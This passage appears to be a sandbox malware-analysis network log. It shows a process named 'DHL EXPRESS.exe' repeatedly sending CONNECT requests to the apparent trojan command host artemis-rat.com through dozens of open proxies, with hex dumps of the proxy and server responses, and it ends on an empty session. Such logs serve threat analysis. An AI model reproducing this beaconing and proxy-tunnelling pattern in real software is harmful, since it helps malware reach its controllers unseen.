Mar 11, 2024 18:36:56.553620100 CET	814	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 622 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 63 6f 70 70 65 72 61 6c 6c 69 61 6e 63 65 2e 75 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@copperalliance.us to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.8	52948	92.205.110.47	36637	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.659140110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.706537008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.707484961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.800326109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1254	192.168.2.8	53642	115.144.17.53	12826	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.663434029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.291716099 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1255	192.168.2.8	53677	154.85.58.149	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.669353008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.456489086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.196851015 CET	321	IN	HTTP/1.1 400 Bad Request Server: openresty/1.15.8.2 Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.15.8.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1256	192.168.2.8	53690	213.19.205.18	54321	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.681910992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.8	53726	61.79.73.225	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.686216116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.8	53660	103.163.51.254	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.824497938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.8	53698	39.105.27.30	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.824795961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.139760017 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 18:36:51.141350031 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.8	53747	184.185.2.12	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.824893951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.8	53688	203.19.38.114	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.825076103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.155419111 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.8	53695	79.110.201.235	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.825251102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.8	53680	114.132.202.78	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.831760883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.383111954 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:51 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.8	53710	31.134.151.40	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.832017899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.8	51727	203.76.103.117	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.832273960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.8	53765	82.66.245.82	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.832400084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.131252050 CET	818	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache/2.4.56 (Raspbian) Content-Length: 624 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 62 61 69 6c 6c 6f 65 75 69 6c 2e 64 79 6c 61 6e 40 6f 75 74 6c 6f 6f 6b 2e 66 72 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 52 61 73 70 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at bailloeuil.dylan@outlook.fr to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.56 (Raspbian) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.8	53772	81.250.223.126	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.833259106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.143744946 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.8	52053	138.68.24.185	55010	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.834677935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.956464052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.957180977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.956693888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.956382990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.065706015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.081379890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:03.081327915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:51.190713882 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.8	53758	77.91.74.77	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
